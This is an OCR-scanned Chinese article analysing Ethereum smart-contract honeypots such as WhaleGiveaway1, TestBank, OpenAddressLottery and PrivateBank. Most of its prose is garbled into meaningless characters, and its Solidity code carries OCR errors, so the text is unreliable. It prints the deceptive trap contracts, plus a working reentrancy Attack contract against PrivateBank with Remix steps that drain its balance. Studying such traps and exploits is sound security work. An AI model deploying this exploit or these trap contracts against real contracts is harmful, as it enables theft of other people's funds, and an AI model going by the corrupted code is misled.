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[XIRtiEZ 2]

PAKIGEEE RS9
{E&: dawuB0x7F@FNESLIF 404 XHEL ST ERA
[F3ER: [FLERJF] https://paper.seebug.org/631/
0x00 B

AFIXRHEXIFIIRANSES, BT —RERFE (The phenomenon of smart
contract honeypots) , fEEIFMAOIT T BRIN=FTZEELEY, FIERXEEENE
IHIEEE Github IE smart-contract-honeypots,

AT HFITFCFIRERY smart-contract-honeypots #1 Solidlity-Vulnerable
MBS EESRESIH TN, IRIES T EREEREEE SN IRFRS AU TN G
A:

HENEIRTFER

HETRYE R IR

FTRRHYME XK

ERERYRRETA

ETEANEORFER, BIBIRIBHLAKILGEREESAFRITRE—HIHKE 118 NEE
BReALOiE, —HIREN T 34.7152916 MAXT (2018/06/26 & 102946 jTTARM),
FIBERBE SR RERD
0x01 HERIERIRFER

TR ERGLIHR, (MNERRFIBRIIRTFE.

XMF LRSS, BEEE—TEHESE.

1.1 BK=HBAYERIE: WhaleGiveaway1

Github #BiiF: smart-contract-honeypots/WhaleGiveaway1.sol
BRESLIMENE: 0x7a4349a749e59a5736efb7826ee3496a2dfd5489

£ github FEZIMALRIBINT:
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41 lines (34 sloc) 9.88 KB Raw Blame History [J 4 T

Jffcontract address: @x7a4349a749e59a5736efh7826ee3496a2dfd5489
pragma solidity ~@.4.19;

contract WhaleGiveawayl
{
address public Owner = msg.sender;

function()
public
payable

{

¥

function GetFreebie()
public
payable
{
if(msg.value=1 ether)
{
msg. sender, transfer(this,balance);
}
e

function withdraw()
payable
public
1
require(msg.sender == Owner);
Owner.transfer(this.balance);
}

function Command{address adr,bytes data)
payable

public

{

require{msg.sender == Owner);
adr.call.value(msg.value)(data);

MEAAEIAI GetFreebie() HIFZMHREZHE:
if(msg.value>1 ether)

{

msg.sender.transfer(this.balance);

RERIKRETAT 1 ether, BALIBEZEREGLIEMBRILINT.
(BEsLAIFINLE, ERAMEERARRIREET github EEFBRITHASBEHE
17. TEIRRE T BT RIE=REE:
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ERgE 21 (RIS 29 (TREREEEET B RRARE. FRLSSIRG i
535 ERICHEA:

if(msg.value>1 ether)

{

’,

Owner.transfer(this.balance);
msg.sender.transfer(this.balance);

TR REGLLEELIREIME, ARBBRIRIIKFRE (B 0) ELLHEKAIAR
(REE)
S5ZHERIEEESLHEE TestToken, BIFEEANEEMREESH
Github Httlt: smart-contract-honeypots/TestToken.sol
0x02 #EFFRYZIERR
IZEEEGIA 2012 FH5M/m (RRKIK) FRA—ERRERRENEIE:
FER: JE—+H 30T

JR¥ B: ixERY, 100!
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EER: 17, BHMR....700 (ZERAH 70 449 F B)
A: I, F2)LERIL, BXETM, 30 28, IBH 100 4FE! 4, 30! (IR
FAZET BREERM 100 7T, XNETEER 307T)
EER: 30 tElF, Bl
ZERREEW, EEERIEEREET, SREEXFIMFRIREM.
2.1 X HETEH: Gift 1 ETH
Github #BiiF: smart-contract-honeypots/Gift 1 ETH.sol
BReS LM 0xd8993F49F372BB014fB088eaBec95cfDC795CBF6
BEXRBEAEIT:
contract Gift 1 ETH
{

bool passHasBeenSet = false;
bytes32 public hashPass;

function SetPass(bytes32 hash)
payable

{
if(lpassHasBeenSet&&(msg.value >= 1 ether))

{
hashPass = hash;

function GetGift(bytes pass) returns (bytes32)
{

if( hashPass == sha3(pass))
{

msg.sender.transfer(this.balance);

}

return sha3(pass);

}

function PassHasBeenSet(bytes32 hash)

9
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if(hash==hashPass)
{

passHasBeenSet=true;

B ERSINZERER, = KBRETIsENT:

SetPass(): EEMAT 1 ether B passHasBeenSet A false (BUAERLE false), 5
BILAUKEZTS hashPass,

GetGift(): EMNARIZBINZEES hashPass HHENER T, MoOILBESNEREGN
LAK.

PassHasBeenSet(): #15R&AAI hash 5 hashPass 8%, N passHasBeenSet E&
HWIRERK true,

INRBAVEBESHNEMBINLINT, REERRBUI T REH TERE:

WEHFR EEELNTH
HEEES LRSS passHasBeenSet = false
g ; passHasBeenSet = false #] msg.value >= 1 ether
HR—: RiX1 etherHtilfESetPass() HEER, hashPassiRiERATITIEBIE,

HFhashPass#l# N fpasst9aliZ, FRLALRiTHe
HE_: BAEGetGift() IEFT LB hashPass == sha3(pass)iX &4,
RRESIESHNBRIE NN T Emsg sender

HEFSFF Alexey Pertsev AL 7T — 1 3REVAAIARY EXP,
BLfRZEF, FEEBRA—TMUKTEHRERBEIENERSONRE, XEATA
e?

10
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4484457 230 days 7 hrs ago Oaidbad24f48b 30 (5 OnciBa031403T2Bh0. ... 0 Ether
4484437 290 days 7 hrs ago [3 OnciBOGH4BIAT72600. ., 1 Ether IL
453117 235 days 2 hrs ago Jx1EandfasTe1db3a, E‘ [ Ol B99AT4913 T 2bb0. 1.00000000000001 Ether
53085 235 days O hrs ago [ ] Confract Creation 0 Ether
A EE AT LA AT

XERAEEHNCIZ G, (HUAFRTLSELHTERE, SEGANEIESE:
G e BRESLTEL

EEES LRSS passHasBeenSet = false

SHEIEE: ¥ etherH il SetPass() JHHEHFHE, BRE—TRESHEIEZNENRE

S4B1iEE . A PassHasBeenSet() passHasBeenSet = True

i 2 assHasBeenSet = true 7oA hashPassii{E
ﬁﬁ_ £ﬁ1 Ethef#ﬁﬁﬁ SEtPaSS{} P TE.I e‘lhere.iéﬁﬁ)\‘%‘ﬁ

BHCRREESY HIGE 51, RE— " RBCIEEMNENZREFHE passHasBeenSet
B9 True, BRESHCIEETLARHERSLHRILIKE.

52 &N EEEE29E5E NEW_YEARS GIFT:

Github ttik: Solidlity-Vulnerable/honeypots/NEW _YEARS GIFT.sol

BRESLMENE: Ox13c547Ff0888A0A876E6F1304eaeFEQEGEO6FCAB

2.2 SL9KintbiRBEE: MultiplicatorX3

11



L2%=-2018 FHT-55 2 #8

Github #BiiF: smart-contract-honeypots/MultiplicatorX3.sol

smart-contract-honeypots/Multiplicator.sol
HeearIiilk: 0x5aA88d2901C68fdA244f1D0584400368d2C8e739
BEIRBEAASAT:
function multiplicate(address adr)
public
payable
{

if(msg.value>=this.balance)

{

adr.transfer(this.balance+msg.value);

}

X3F multiplicate() TS, RE(FEKNSIATIKARE, HeTLUE KPR A0 (R
IR S RRER L 25— el =AYb,

EXEHRNBENE: EEA multiplicate() B, WWPRE = ZEINKFRER + AR
HWAIEI. FrlA msg.value >= this.balance RBEERREI 0, ¥IKEES 0 BIBHR
SR, PHERE, KPRIUKISASECEIKES TN,

52Z2#IREESUIAE PINCODE:

Github ittit: Solidlity-Vulnerable/honeypots/PINCODE.sol

Heearibik: 0x35¢3034556b81132e682db2f879e6f30721b847¢

B/

2.3 EESYNEA: TestBank
Github #BiiF: smart-contract-honeypots/TestBank.sol
Heearuitbtlk: 0x70C01853e4430cae353c9a7AE232a6a95f6CaFd9

B/

BLRRRIBITT:
contract Owned {
address public owner;
function Owned() { owner = msg.sender; }
modifier onlyOwner{ if (msg.sender != owner) revert(); ; }

contract TestBank is Owned {

address public owner = msg.sender;
12
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uint256 ecode;
uint256 evalue;

function useEmergencyCode(uint256 code) public payable {
if ((code == ecode) && (msg.value == evalue)) owner = msg.sender;

}

function withdraw(uint amount) public onlyOwner {
require(amount <= this.balance);
msg.sender.transfer(amount);

}

RIEXERBIRNES, WRBIITLUEE useEmergencyCode() FHIFIET, BRmLETLA
B owner RENFAIUMELE, AGET withdraw() BREFLRTLABH SRR,

YR HBE T LEARIDHT, A4S EZST— T Solidity R EHIEFARESE 2 5.

ZEB SIBFEESEEE 5

Erq: Solidity RIRFIRFEECFIZT, FULHREIEN, BFEATS LS EES — T E
L=

1B FELKEGHTEFITE, K& AR test] IRHYLEHHY variable, F3& B
7] test2 FEHFEFEG variable, B test2 [F 78 HE BT E, FEFE: X1 EVM
i, 7 storage variable 2B —1ME—ERIRAY slot id, 1F FEIHIBIFid, EAE5IHG
variable, EZM bytecode BEFE, MITERTIEA] slot id FHERT, FULEFIZEEN
TAREXZ,

contract A{
uint variable = 0;
function test1(uint a) returns(uint){
variable++;
return variable;
}
function test2(uint a) returns(uint){
variable += a;
return variable;
}
}

contract B is A{

13
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uint variable = 0;

function test2(uint a) returns(uint){
variable++;
return variable;

contract B{

uint variable1 = 0;

uint variable2 = 0;

function test1(uint a) returns(uint v){
variable1++;

return variable1;

}

function test2(uint a) returns(uint v){
variable2+ +;
return variable2;

REEEGIRRRIARE, RATBZELR R OB ESEN T :
contract TestBank is Owned {

address public owner1 = msg.sender;

modifier onlyOwner{ if (msg.sender != owner1) revert(); ; }

address public owner2 = msg.sender;
uint256 ecode;
uint256 evalue;

function useEmergencyCode(uint256 code) public payable {

if ((code == ecode) &8& (msg.value == evalue)) owner2 = msg.sender;

function withdraw(uint amount) public onlyOwner {
require(@mount <= this.balance);
msg.sender.transfer(amount);

14
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&2 ownerl L% Owner By owner &, [ owner2 £+ TestBank #gY
o8, useEmergencyCode()EEREIEH owner2, MAE ownerl, BATEREMA
withdraw(), HEFJEFR useEmergencyCode() FIEEEIEEIREMN evalue wei BILLKM,
FTLARSIERIAKNBEAEX.
0x03 FhERAIREEiTFRk

XERFERIE P OMCAATERATI R THATE, AMAEOEX TR ATEE,

REBREN BN E T KGRI S X DT EZR A mERAY.

3.1 NI : CryptoRoulette

Github #BiiF: smart-contract-honeypots/CryptoRoulette.sol
Solidlity-Vulnerable/honeypots/CryptoRoulette.sol

BREELIMHE: 0x94602b0E2512DdAd62a935763BF1277¢973B2758

BEXRBEAEIT:

// CryptoRoulette

//

// Guess the number secretly stored in the blockchain and win the whole contract
balance!

// A new number is randomly chosen after each try.

//

// To play, call the play() method with the guessed number (1-20). Bet price: 0.1
ether

contract CryptoRoulette {

uint256 private secretNumber;
uint256 public lastPlayed;

uint256 public betPrice = 0.1 ether;
address public ownerAddr;

struct Game {
address player;
uint256 number;

}

function shuffle() internal {

// randomly set secretNumber with a value between 1 and 20
15
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secretNumber = uint8(sha3(now, block.blockhash(block.number-1))) % 20 +

function play(uint256 number) payable public {
require(msg.value >= betPrice && number <= 10);

Game game;

game.player = msg.sender;
game.number = number;
gamesPlayed.push(game);

if (number == secretNumber) {
// win!

msg.sender.transfer(this.balance);

shuffle();
lastPlayed = now;

function kill() public {
if (msg.sender == ownerAddr && now > lastPlayed + 1 days) {
suicide(msg.sender);

}

ZELIRE T 1-20 BIBEHEL: secretNumber JiziBEEEA play() Z=M=IHX
M, NRBXY, MeElLAESYPATERISAEINKERIEL secretNumber,

XEFEREHER. F—BEHERMEEXD play(. play() FEHER RGBT

msg.value >= betPrice, BFiRERRRHHEREELD 0.1 PLLKE.

number <= 10, FBHEHFAERT 10,

16
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FTAERRIRENEE 1-20 ZI8), MIBHIEFAREAT 10, FBAMRMEHEAT 10
e? BASBARERIBMI! FIERATRBILUATHE —EFEESEEN . REESY
HEETLIEY kill() REEHERESLITRATERILIAT.

ELfFZES, FHINEBRITERRMEIERE 1-10 ZiE, RBEHFAET 10 /9
BrEEY., XENSAENRILE 7 EENFEBMER, EKIEEREEEESYN! XSR1I3RE]
NEZEEREX. BIIBSET—T 3.2 FRtiE#E: OpenAddressLottery HiRZl+H
KT, BXBINEETLUESE 3.2 7 EBEXRENDIT—MZEH.

3.2 FititR2E: OpenAddressLottery

3.2.1 EREEGRSLISIR
Github #BiiF: Solidlity-Vulnerable/honeypots/OpenAddressLottery.sol
BHeA LM 0xd1915A2bCCAB77794d64c4e483E43444193373Fa

BEIRERLAIT
contract OpenAddressLottery{
struct SeedComponents{
uint component1;
uint component2;
uint component3;
uint component4;

address owner; //address of the owner

uint private secretSeed; //seed used to calculate number of an address

uint private lastReseed; //last reseed - used to automatically reseed the contract
every 1000 blocks

uint LuckyNumber = 1; //if the number of an address equals 1, it wins

function forceReseed() { //reseed initiated by the owner - for testing purposes
require(msg.sender==owner);

SeedComponents s;
s.component1 = uint(msg.sender);
s.component2 = uint256(block.blockhash(block.number - 1));
s.component3 = block.difficulty*(uint)(block.coinbase);
17
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s.component4 = tx.gasprice * 7,

reseed(s); //reseed

}

OpenAddressLottery BUiZIERER, BRTE, HSRIEFEBEMUBUEINAER, 0
& 1, WRERHYEM LuckyNumber #8%H9E (LuckyNumber #la{ER 1) , IPATERE

BBSIRE 1.9 EHRSE.

MFHERARARKR, XNELUTERXEERERESUPNMERSH— . EXE,

HESFEA— demo Fii—ix Solidity FmiEERI— bug:
pragma solidity 20.4.24;

contract OpenAddressLottery test

{
address public addr = Oxa;

uint  publicb =2;
uint256 public c =3;
bytes public d = "zzz7";

struct SeedComponents{
uint256 component1;
uint256 component?2;
uint256 component3;
uint256 component4;

function test() public{
SeedComponents s;
s.component1 = 252;
s.component2 = 253;
s.component3 = 254,
s.component4 = 255;

fEizfT test() Zgil, addr, b, c. d FEUNTEFRIR:

18
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= e s g e
progra solicity *8.4.24; Emaronmisy MUESEAE VM EumE g
;nntmct OpErAddresstottery_test Accoun G187 £160¢ |99 FIIBTIRLIIRETAS = WL
5 oddeoss public adde = B 2000

uink  palich =2 g e

ulmtSE public & - 3 -

bytes publicd = "z . ! :

R R

struct Seedlomponrents]
wirtESd cosponentd; (

b8~ i
:

fusckion test() publich
Seeglonponents &5
s.componentl = 2525 ”
=.Comanent? = 253; 0 penging trnzactons: Ero
©.companenid - 2581 .
S.compepnentd = 155

13
2}
- CrenAddrwselotiery test at 0x130..12020 imemon Iy

B
NEBEss

o
x

7 Listen o e

Cw @ only e ranssctans, scrn = @) teich wansactions

=
f__ﬁ:r | S=sbug

EIE(TT test() Zja, BEMWRES.

proge solicley *B.4 26 Erniarmen uESeip] v EVMH G

?‘m OpenAddressiotrery_test Asgeat Qa1aT ctBic (90 BeadatenaunaiT s hE

addrags pablic adde = @ "
ulnt  publich - G Eit A0,
uint25é public c =3 X
bytes punlicd = “zzzz'; Y A Mar ¢
struct SeedCosponentsf

wint25h componentl; |_ OpenAddressLottery_test l]

uintZiG companentZ; ——

Oepley

SAnZSE companamty
UintZSE coeponertd;
! Lo santract fram Addraes rrey

functien tast() public)

RN B SERF IR ES o m uain s e
»

i

- OpenAddrosslottery tost gt 05130, 42625 memor) I

@ [2 anly remix transactions, soept = E Search fraresacions 7 Listen on netwark

o byt

X1 bug BEWIRRLEETS, FHEHE Solidity 0.5.0 HIFEE,

chriseth commented on & Apr Contributor  +(z2)

@microbecode yes, this will be a warning in future releases and an error starting from 0.5.0. Please try
the nightly compiler builds if you want to check.

& G | Sesbuy

19
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#IEEE RS, Solidity 0.5.0 {kIEREHELE. XEHMEWKRE, HRIFFBHNERESLIEH

=55z bug BRI, FMESE 3.22F Fii—iRiXD bug AJEERIS NE. BT
EiEE e a2IMIE bug WEEANEE AT LABNTIX—/\

S FZEEEESNMS, & forceReseed(#EAfS, s.component4 = tx.gasprice *
7, BoBEEE LuckyNumber 8918, iz 7. MAFPERNERERHFERESE 1 3& 0,
XBHERE BRI A RIS R,

3.2.2 Solidity 0.4.x FiE(FFEHEEECIEHNEEEES

£ 3.21 19, NMAT OpenAddressLottery ERESLIERRVIBHWAIEIHAFTEZE
EEBESERSATENRRIULINEE, NMAENERZEERIE.

ZRIXMER, SREERLSHRINT, LB EESRRIERESSS, BABE
TEBENAILUESREVE R 2, NREESHIHPERN owner TEENEEE, &
B LUSHARBRIZTT

HUCHED 1 90N (Ui R R hY

0.4.25-nightly.2018.6.22+commit.9b67bdb3.Emscripten.clang):
pragma solidity 20.4.0;

contract Test {

address public owner;
address public a;

struct Seed {
address x;
uint256 y;

function Test() {
owner = msg.sender;
a=0x1111111111111111111111111111111111111117;

20
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function fake foo(uint256 n) public {

Seed s;
s.x = msg.sender;
sy =n;

BIERSAETIRE

Environment JavaScript VM EVMQ) ¢ i
Account 0x4b0...4d2db (99.999999999999728¢ 4 A
Gas limit 3000000
Value [+] ether
[ Test :]
Deploy
Load contract from Address At Address
0 pending transactions = - |
x®
- Test at 0xa5a...51d57 (memory) "
fake_foo uint256 1 W
a
0: address: 0x11111111111111 11111111 1111 111111111111

owner

0: address: 0x4B0897b0513fdC7C541B6dIDTER29CAe536402dB

K& FFfake_foo(){ERLEE

Envirenment JavaScript VM & a i
Account 0x583...40225 (99.999999889999967¢ ¢ K@
Gas limit 3000000
Value V] ether
Test ?]
Deploy
om Address At Address
0 pending transactions = |
x
Test at Oxa5a...51d57 [memory) n
fake_foo Oxaaaa ~

a

0 address: 0x000000000000000000000000000000000000aa8a

owner

0: address: 0x58303101113aD414F02576BD6afaBb302140225

WERf7~, WEE 0x583031d1113ad414f02576bd6afabfb302140225 1EiEMA

fake_foo() Z/g, RIS owner {EXAKEC.

£ 237 &, NAT Solidity RIAFIEZBEN, HHMEREEMESH— 1R
&, XEMEWRE, iz bug LS MEREHRENRETE, ARG 20T

pragma solidity 20.4.0;
contract Owner {
address public owner;

modifier onlyOwner {
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require(owner == msg.sender);

contract Test is Owner {
struct Seed {
address x;

function Test() {
owner = msg.sender;

function fake foo() public {
Seed s;
s.x = msg.sender;

BIESLURPAE W iEEFl Afake_foo() &2l ownerf{E

Environment JavaScript VM VM & i Environment JavaScript VM VWM 5 i
Account Oxca3...a733c (99.9999999999996632 ¢ I Account 0x147...c160¢c (98.9999999999997782(+ v ®
Gas limit 3000000 Gas limit 3000000

Value 0 ether £ Value 0 ether 4

Test :] [ Test 3]
Deploy Deploy
Load contract from Address At Address Load contract from Address At Address
0 pending transactions > 1 0 pending transactions > o
x x
- Test at 0xe36...19310 (memory) [ &) -~ Test at Oxe36...19310 {(memory) | &)
fake_foo fake foo
owner owner
0: address: 0xCA35b7d915458EF540aDe6068dFe2F44E8fa733c 0: address: Ox14723A09ACHED2AB0DcdF7aA4AFf308FDDC160C

22
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HEEEFREIRES 1, =R 2 ERZHIMAENLAES. BT NS 2 B8R
ZiERRMRE, EEZRARENRMEFA. LR EXFEEE B,

ESEHEE 10, AREASRTREYRE , ItmFESBE LS50 NBNARESIE.
FRLAFEERT 04X WRAF, RWERSBEIESNANBNSRSARLRE, EXMEFERSE
FRERARBE T LB A ERER,

solidity FFAERTE 0.5.0 A IZRBAIFFHERGIE,

3.3 WWEZE: KingOfTheHill

Github #bilE: Solidlity-Vulnerable/honeypots/KingOfTheHill.sol

ERES LUt Ox4dc76cfc65b14b3fd83c8bc8b895482f3cbc150a

BAXRBABNT:
contract Owned {
address owner;
function Owned() {
owner = msg.sender;
}
modifier onlyOwner{
if (msg.sender != owner)
revert();

I

}

contract KingOfTheHill is Owned {
address public owner;

function() public payable {
if (msg.value > jackpot) {
owner = msg.sender;
withdrawDelay = block.timestamp + 5 days;
}
jackpot+=msg.value;

}

function takeAll() public onlyOwner {
require(block.timestamp >= withdrawDelay);
23
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msg.sender.transfer(this.balance);
jackpot=0;

XNMELRNZIERE: BIXIBXK fallback(), & jackopt MEINLEARENNEEL. N
RIMENIEFK T ZEIH jackopt, BBA owner FiEIERRATHELE,

BIXMUBEE, (REERIM 227 . 237 B—EXUR?

MBS —NaE: msg.value > jackopt EFTILARII? ERESTEN, BTF
jackopt+=msg.value £ msg.value > jackopt ¥l#fzfE, FRLAASEM 2.2 T GAKIE
EUARERZRIEIN,

AMXNENFES 237 FFRYERE, £ msg.value > jackopt BIER T,
KingOfTheHill #1Y owner #EXARIEERIMIE, B Owned HRY owner {KIBREL
B ARIHBIE, XBFERERERREL takeAll() BXERBERTEERRE, FIBHIKFRER
HESHNERNOL,

52 &NEESLIEE RichestTakeAll:

Github ittit: Solidlity-Vulnerable/honeypots/RichestTakeAll.sol

EREELME: O0xe65c53087e1a40b7c53b9a0ea3c2562ae2dfeb24

3.4 AKX Siiik: RACEFORETH
Github ittit: Solidlity-Vulnerable/honeypots/RACEFORETH.sol

BERBEAET:

contract RACEFORETH {
uint256 public SCORE TO WIN = 100 finney;
uint256 public speed limit = 50 finney;

function race() public payable {
if (racerSpeedLimit[msg.sender] == 0) { racerSpeedLimit[msg.sender] =
speed_limit; }
require(msg.value <= racerSpeedLimit[msg.sender] && msg.value > 1 wei);

racerScore[msg.sender] += msg.value;
racerSpeedLimit[msg.sender] = (racerSpeedLimit[msg.sender] / 2);

latestTimestamp = now;
24
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// YOU WON
if (racerScore[msg.sender] >= SCORE_TO WIN) {
msg.sender.transfer(PRIZE);

}
}

function () public payable {
race();

}

ENERESIERIIAETERE TRAEK ERZE 50 finney, /NEKTIRE 2
wei(RMHFEXTF 1 wei, BHERN 2 wei), BIREIKZE, &R LIRERSTE/\)IFRF
RO—, HREIKBEATET 100 finney, BRRATLABNH ERENIRUERESLIRTHUHAAY
%,

RISEAEEMK T x X, BBEAIRS TSI T :

50 +50* (1/2)A1 + 50 * (1/2)"2 + 50 * (1/2)"3 ... 50 * (1/2)"x

TRIERTRANIRRILINE, Z#H=FaKm/vF 100
50 * (1/2)20 + 50 * (1/2)A1 + 50 * (1/2)A2 + 50 * (1/2)*3 ... < 50 * 2

MERSHUTIRENRESFAMECERMEATEFT 100 finney, XBHEKRE, iR
BAALUARFRENRIZFRA!
0x04 FERIRRFIA

MAENREIER The DAO SHEZESH 7 IAKILAES X, FAZSzHRRETESH
MR Z LA,

DASP TOP10 HaI=: EANRRE. s, ERMnREXLEREEEsLHIYa
AL, BEAXGEFE IR EE R ERIAE.,

4.1 FANBIT(ENRR): PrivateBank

Github #biilF: smart-contract-honeypots/PrivateBank.sol
Solidlity-Vulnerable/honeypots/PRIVATE_BANK.sol

Hee/Lutthilt: 0x95d34980095380851902ccd9alfb4c813c2cb639

BEIREREUT

function CashOut(uint _am)
25
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{
if( am<=Dbalances[msg.sender])
{
if(msg.sender.call.value(_am)())
{
balances[msg.sender]-=_am;
TransferLog.AddMessage(msg.sender, am,"CashOut");
}
}
}

THEY DAO EHLINREBENRRAILIRIBEEL, CashOut() FEENRFR.

ETRRENRERZE, A THE=1RA:

1. Solidity FYCABHATIRE, 97 BHLELAKI SRR, EeEaLIThIE—
SEFEHFE gas, BRARL WERMKRLIER T EGLUREMTRKR, GRS RER.

2, addr.call.value()(), BZ call() RIFSZUHITHEIK, LEBRIFTARY gas #HITHEA.

3. [EREEY fallback(): EIEREUSSIEEREGLIRY call HRERA,

INREFATEASLIHRY CashOut(), KEABIERIENTE:

msg.sender.call.value(_am)()

_am<=balances[msg.sender] =, > = balances[msg.sender]-=_am
K ——> fallback()

AT EIRFE TR, MRFAMEERREPEREA CashOut(), BT HRE
_am<=balances[msg.sender] , FEEXIEK, ELAMER, BEE SLFRLIKHHEET
B} gas iH#E5e.

msg.sender.call.value(_am)()
_am<=balances[msg.sender] —, > —> balances[msg.sender]-=_am

Bk ——> fallback()

fallback()

msg.sender.call.value(_am)()

Ik om—l fallback()

_am<=balances[msg.sender] — > > balances[msg.sender]-=_am

RIE_ LA DB HKEAIIBAT:
contract Attack {
address owner;

26
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address victim;
function Attack() payable { owner = msg.sender; }
function setVictim(address target) {victim = target; }

function step1(uint256 amount) payable {
if (this.balance >= amount) {
victim.call.value(amount)(bytes4(keccak256("Deposit()")));

function step2(uint256 amount) {
victim.call(bytes4(keccak256("CashOut(uint256)")), amount);

}

// selfdestruct, send all balance to owner
function stopAttack() {
selfdestruct(owner);

}

function startAttack(uint256 amount) {
step1(amount);
step2(amount / 2);

function () payable {
victim.call(bytes4(keccak256("CashOut(uint256)")), msg.value);

}

BINELS BT
1. IFERAFP A (tblE: 0x14723a09acff6d2a60dcdf7aa4aff308fddc160c) [EiZSZY
ZA 50 ether,
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et browser/PrivateBank.sol * Comple  Fun  Sefings  Anchysis Detugger Support

n ps://etherscan, Lo/ addre ss/OxE5434 SE00G5 380051982 ccaal fb4cl13c2cbb 100 cods .
3 s e vt 2 o - o Ernironmant Javascript vM &M bl e
: prage Salidioy Shuh19, Acccunt ©147,..c160 1300 etherl s e
5 contract Private Bank s it 2000000
6= { ~
[ mapping (address == wint) public belances; Valug o o wther
3 i)
a int public MinDeposit = 1 ether;
1 i = - —s
11 Log Transferlog; [Prlvmjank 3|
12
-}i luntl'-on Private Bark{address _log) Dapioy Ox0dedfT52304cA1I75aT500000bA4IAS0529Tcal v
15 Transferlog = Log(_log);
Laad contract fram Address At hteiress
16 ]
17
18 function Depositl)
2 public
o payabia 0 pencing TANSActons L ]
Z1- 1
22 ifi{msg.value = Minleposit)
23~ f L
24 balances[msg. sender]+=msg.value;
5 TransferLog. Addvessagensy . sender nsg . value, "Deposie ")y Log 1 OxDdc, . STcal (mamary) n
@ i
27 1 AddMESSAgE  address _ad:, pint2556 _val string_data -
28
& 29 function CoshOut(uint _om) History it 356 £
0-
3 1F{_am<-balonces[rsg. sendar])

32- {
23 -
*  Private_Bank at OxSe 725081 (memon) I

¥ @  [Z] only remix Iranssctions, scrigt = O Search trarmactions LE1EN on networnc
Itallback)
CashOut  Lin(256 _am -
Dapasit
talances address -
MinDeposit

2. EBEIEE Bl 0x583031d1113ad414f02576bd6afabfb302140225)F# %
BEEREGE Attack, ST, MYEHTESDFAR 10 ether, EEHT A FARY 50
ether, FAF A AIREUEARZ 50 ether, TIREEINEE B MIREMEENAR LR HITA
115792089237316195423570985008687907853269984665640564039407584007913

129639936,

28



e 2022018 GEET)-55 2 4

i : browser/PrivateBank.sol ™ * Comgila Run Zattngs  Analysis  Debugger  Support

7l Environment JaasBoript VM WS i
72~
73 Acoount OSB3, 40225 (100 ethar} L pE
74
7 Gas lime 3000000
& 7% Furction Attack(} peyshle [ cwncr - meg, serder; §
i aiue o ne ether
i 78 Function set¥ictim{odiress targetd { wvictim = torget; } e
b
i Ba- pifur nk) payeble {
& 81~ F (this.balanc unt} [AM :J
i 82 wictim.call.value(anount){bytes4(keccak56( "Degosie( ¥ 13
&3 3} Daploy
4 ¥
85 == Load contract from Address At Address
B BE- Function step2(uinti5e amount)
i &7 victim, callbytesa{keccok25e( "CoshDut{uint2561" 13, amount]);
=} ¥
a3 ¢ wal fdestru sond all balanco to ownar
1 0 panding ransaciions =5
b 08 Function stophbback(d £ (panding fransac
o1 selfdestructomnerd:
922 b
03 %
B4 - Function stortittoc ncunt) { = xOde_a7:
a5 steslamount); tion ¥ o
25 step2{amount / Z);
P ¥ AddMessage  sdovess adr, LINZEE val, s _dste
s Histary
- function () poyoble {
s 108 victim., callbytesd{keccak236( "CashDut{uint2s6)" ), msg.value);
11
we 3
% @ 2] only remix transactions, sorigt Q| Sesrch transsctions Listn &n netwerk = Private_Bank at 0xSe7. 2608 (memory] I
{fnlback]
CaghOut  ulm286 _am
Deposit

balances x14723a028chSd 2e60dcd 7andat 30830160

transact te Private Bank.Deposir pendiag ...
0t wine258: SI000000000000000000

b [ve) Eremi€xli?...cli0c tosPrivate Benk.Ceposit|) Uxdel...ibedf vml L. 0900 wed dat .. LiARe Jogwid  ponug
hashidxidc, . beTHY . £
MinDepasi

call to Private Bank.balances

b icall] Fromilxia 160 tarPrivate iank.balances (address) Debiug
datasdxlTe. . clide

ereation of Attack pending...
} valoes wat -.d0023 loga:d vabg

b ivaj veedd.
hashadicead. . .e68h1

>

BFAUETARF A BIREUIAERE, BRTFSAFELZRBLAKTHT, bl A BEERH
HEAR 50 NLAKT

RIELA LRGBS HII TSI . SEBRFPBUKXHENZERESea2Itit, Y
KPR EREEREEBIEANRENL , BAMIKIBEEREIZE RSP EANRINHEE,
(BRI BENANCE.

4.2 {ZRtERItit GHIaER)): firstTest

Github #bilE: smart-contract-honeypots/firstTest.sol

BRI 0x42dB5Bfe8828f12F164586AF8A992B3a7B038164

BHBLRIN T

contract firstTest

{
address Owner = 0x46Feeb381e90f7e30635B4F33CE3F6fA8EA6ed9b;

address emails = 0x25df6e3da49f41ef5b99e139c87abc12c3583d13;

address adr;
uint256 public Limit= 17000000000000000000;

function withdrawal()
payable public
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adr=msg.sender;
if(msg.value>Limit)

{
emails.delegatecall(bytes4(sha3("logEvent()")));
adr.send(this.balance);

BEEEARER, REEREA withdrawal() BHRIXED 1 ether, ZELHMAATRE
SIS RI%EE, EFiBT delegatecall() VBRI logEvent(), EEEIR?
7£ DASP TOP10 pYimiR+, HERE st 2inaiztlimE, E4wiinzl delegatecall() .
delegatecall() #1 call() IhEEZM, XEUIET delegatecall() {UERLAE BHEAIRED,
HEERNWERIAREHGNEHE, REEFS). XEATRERRAR logEvent() BRILUERN
ZEAFRISE, B adr,
BNMIF, EE—NENF, BIIEXNT—1EE adr, AENMESAHEY
delegatecall() EAE—NMELHE logEvent(). B_NEAPHNE—NEEHRTHT
Ox1111, XtEMEKREREETEBEESIE logEvent() BEIEHK adr RYE.
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browser/test2.sol

+*
% T browseritestsol
1 progea solidity ".4.9;
2
3+ controct change_odrf
4 ddress odr;
3
6- Function legEvert(){
7 odr = Bxilll;
8 }
bl
¥ @  [3]anly remix transsctions, script *

tranasct to CallTest.foo peading ..

# lvel fromiQudil.. . 4d42db teiCallfent.foof| 0xl4d...170c0 valuead wel detesGao?d. . 05570 loge: hashiOnl 75, . .abblt

eall to Calltapt.adr

Q oarch transactions

B leall] frem:0xdb0RSTRO513E80TE541EAIETABI904atIE 440D torCallTage adr| ) dbta: Oxlar. .. ATEI5E

crention of change ads pending. ..

adz,

LEE R o

croation of Callfest panding...

eddadh

b valusid woi datos fR6¢8.. oc0029 logeid bashiduTid. . 56424

B [vm] fromiOxidT, . ol806 toiCalivest, [oonptrictor]) valuerh woi dets)0xe0B. . . 20029 Loges0 haakiix36d. . .altal

wall to CallTest.ads

¥ [eall)

-4

function logEvent(){

€0% besCallTest . ads|) dataitulac. . .a7E80

ATEIEFAIRYEN, £ evmdis HH]
0x25df6e3da49f41ef5b99e139c87abc12¢3583d13 HbitabAY opcode, logEvent() &Y

AR T:

FFFFFFFFFFFFFFFFFFFFFF

FFFFFEFFFFFFFFFFFFFF % POP

FFEFFEFFFFFS

418))

BEAL Solidity AIMBAIBAELE:

® Compile Fun

Settings  Analys=  Debugger Support

Ervironment Javascript YM BV E
Actount Cwead.. a733c (100 ethark L et
Gas kit 2600500
Valus [ wei l
